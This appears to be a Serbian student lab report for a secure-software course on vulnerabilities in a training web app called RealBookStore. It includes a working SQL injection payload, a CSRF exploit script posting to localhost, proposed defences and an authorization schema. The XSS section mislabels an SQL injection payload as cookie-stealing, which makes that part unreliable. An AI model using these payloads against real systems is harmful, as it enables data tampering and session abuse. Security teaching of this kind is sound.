

# Stručni kurs "Razvoj bezbednog softvera"

## **Izveštaj**

pronađene ranjivost u projektu "RealBookStore"

Vukašin Marković 6. Maj 2024

# Istorija izmena

Verzija	Datum	Izmenio/la	Komentar
1.0	06.5.2024.	Vukašin Marković	Kreiran izveštaj
2.0	11.5.2024	Vukašin Marković	Ažuriran izveštaj

# Sadržaj

Istorija izmena.....	2
Sadržaj.....	3
1. Uvod.....	4
2. SQL injection.....	5
Napad:.....	5
Metod napada:.....	5
Predlog odbrane:.....	5
3. Cross-site scripting.....	6
Napad:.....	6
Metod napada:.....	6
Predlog odbrane:.....	6
4. Cross-Site request forgery.....	7
Napad:.....	7
Metod napada:.....	7
Predlog odbrane:.....	8
5. Autorizacija.....	8

# 1. Uvod

## O veb aplikaciji

RealBookStore je veb aplikacija koja pruža mogućnosti pretrage, ocenjivanja i komentaranja knjiga. U ovom dokumentu napisan je njen izveštaj.

RealBookStore omogućava:

- Pregled i pretragu knjiga.
- Dodavanje nove knjige.
- Komentaranje i ocenjivanje knjige, kao i detaljan pregled knjige.
- Pregled korisnika aplikacije, kao i detaljan pregled njihovih podataka

## 2. SQL injection

### **Napad:**

Ubacivanje novog usera u tabelu “persons” (SQL injection)

### **Metod napada:**

Na stranici za pregledanje pojedinačne knjige "Book Details", unet je "opasan kod" u input polje “Comment”:

```
comment'); insert into persons(firstName, lastName, email) values ('jason', 'statham',  
'hud@mail.com')--
```

Nakon čega se vidi da je novi korisnik dodat u bazu:

### Users

Search...				Search
#	First Name	Last Name	Email	
1	Bruce	Wayne	notBatman@gmail.com	<a href="#">View profile</a>
2	Sam	Vimes	night-watch@gmail.com	<a href="#">View profile</a>
3	Tom	Riddle	theyGotMyNose@gmail.com	<a href="#">View profile</a>
4	Quentin	Tarantino	qt5@gmail.com	<a href="#">View profile</a>
5	jason	statham	hud@mail.com	<a href="#">View profile</a>

© 2023 Copyright: [RBS](#)

### **Predlog odbrane:**

Potrebno je da u našem kodu koristimo parametrizovane upite za dobavljanje komentara.

### 3. Cross-site scripting

#### **Napad:**

Ubacivanje novog usera u tabelu “persons”

#### **Metod napada:**

Na stranici za pregledanje pojedinačne knjige "Book Details" , unet je "opasan kod" u input polje “Comment”:

```
comment1'); insert into persons(firstName, lastName, email) values ('jasonXSS11',  
'stathamXSS11', '')--
```

Ovim kodom smo izvršili napad koji će da nam otkrije vrednost kolačića trenutne korisničke sesije

#### **Predlog odbrane:**

Korišćenje innerHTML je rizično i zbog toga cemo u okviru HTML DOM objekta koristiti textContent umesto prethodno pomenutog innerHTML

## 4. Cross-Site request forgery

### Napad:

Menjanje podataka usera kombinovanjem SQL Injection i XSS napada. Tako je u bazu ubačen korisnik koji kao neki od svojih atributa ima zlonamernu skriptu.

### Metod napada:

Poslat je maliciozan link useru koji kada se otvori pokreće javascript kod koji šalje zahtev serveru u ime usera.

Klikom na maliciozni link, pokreće se skripta koja šalje zahtev serveru i menja podatke korisnika.

->Skripta sadrži sledeću exploit funkciju:

```
<script>
  function exploit() {
    // Scripted CSRF Request
    const formData = new FormData();
    formData.append('id', 1);
    formData.append('firstName', 'Batman');
    formData.append('lastName', 'Dark Knight');

    fetch('http://localhost:8080/update-person', {method: 'POST', body: formData, credentials: 'include'});
  }
</script>
```

posledice pokretanja skripte:

Users				
<input type="text" value="Search..."/>				
#	First Name	Last Name	Email	
1	Bruce	Wayne	notBatman@gmail.com	<a href="#">View profile</a>
2	Sam	Vimes	night-watch@gmail.com	<a href="#">View profile</a>
3	Tom	Riddle	theyGotMyNose@gmail.com	<a href="#">View profile</a>
4	Quentin	Tarantino	qt5@gmail.com	<a href="#">View profile</a>
© 2023 Copyright: <a href="#">RBS</a>				

Users				
<input type="text" value="Search..."/>				<input type="button" value="Search"/>
#	First Name	Last Name	Email	
1	Batman	Dark Knight	notBatman@gmail.com	<a href="#">View profile</a>
2	Sam	Vimes	night-watch@gmail.com	<a href="#">View profile</a>
3	Tom	Riddle	theyGotMyNose@gmail.com	<a href="#">View profile</a>
4	Quentin	Tarantino	qt5@gmail.com	<a href="#">View profile</a>
© 2023 Copyright: <a href="#">RBS</a>				

### ***Predlog odbrane:***

Pomoću CSPRNG ćemo kreirati token na početku sesije korisnika, nakon toga token ćemo uskladištiti u podatke sesije korisnika.

## 5. Autorizacija

Implementiran je autorizacioni model u bazi podataka.

Svakoj roli su određene funkcionalnosti koje su joj odobrene.

Svaki Useru su dodeljene role

```
insert into permissions(id, name)
values (1, 'ADD_COMMENT'),
       (2, 'VIEW_BOOKS_LIST'),
       (3, 'CREATE_BOOK'),
       (4, 'VIEW_PERSONS_LIST'),
       (5, 'VIEW_PERSON'),
       (6, 'UPDATE_PERSON'),
       (7, 'VIEW_MY_PROFILE'),
       (8, 'RATE_BOOK')
;

insert into role_to_permissions(roleId, permissionId)
values (1,1),
       (1,2),
       (1,3),
       (1,4),
       (1,5),
       (1,6),
       (1,7),
       (1,8),
       (2,1),
       (2,2),
       (2,3),
       (2,4),
       (2,6),
       (2,7),
       (2,8),
       (3,1),
       (3,2),
       (3,6),
       (3,7),
       (3,8)
;
```

```
insert into roles(name)
values ('ADMIN'),
       ('MANAGER'),
       ('REVIEWER');

insert into user_to_roles(userId, roleId)
values (1, 3),
       (2, 3),
       (3, 1),
       (4, 2);
```



-> Pogled iz ugla Bruce Wayne-a, koji ne moze da pristupi pregledu korisnika aplikacije.

Real Book Store

Books

My ProfileLogout

Books

Search

#	Title	Description	Author	
1	The Lord of the Rings	Set in Middle-earth, the story began as a sequel to Tolkien's 1937 children's book The Hobbit, but eventually developed into a much larger work.	J.R.R. Tolkien	<a href="#">Details</a>
2	Dune	Dune is set in the distant future in a feudal interstellar society in which various noble houses control planetary fiefs.	Frank Herbert	<a href="#">Details</a>
3	Grundrisse	The series of seven notebooks rough-drafted by Marx, chiefly for purposes of self-clarification, during the winter of 1857-8.	Karl Marx	<a href="#">Details</a>

© 2023 Copyright: [RBS](#)

-> Pogled iz ugla Quentina Tarantina, koji može pristupiti listi korisnika aplikacije.

Real Book Store

BooksUsers

My ProfileLogout

Books

Search

#	Title	Description	Author	
1	The Lord of the Rings	Set in Middle-earth, the story began as a sequel to Tolkien's 1937 children's book The Hobbit, but eventually developed into a much larger work.	J.R.R. Tolkien	<a href="#">Details</a>
2	Dune	Dune is set in the distant future in a feudal interstellar society in which various noble houses control planetary fiefs.	Frank Herbert	<a href="#">Details</a>
3	Grundrisse	The series of seven notebooks rough-drafted by Marx, chiefly for purposes of self-clarification, during the winter of 1857-8.	Karl Marx	<a href="#">Details</a>

[Add book](#)

© 2023 Copyright: [RBS](#)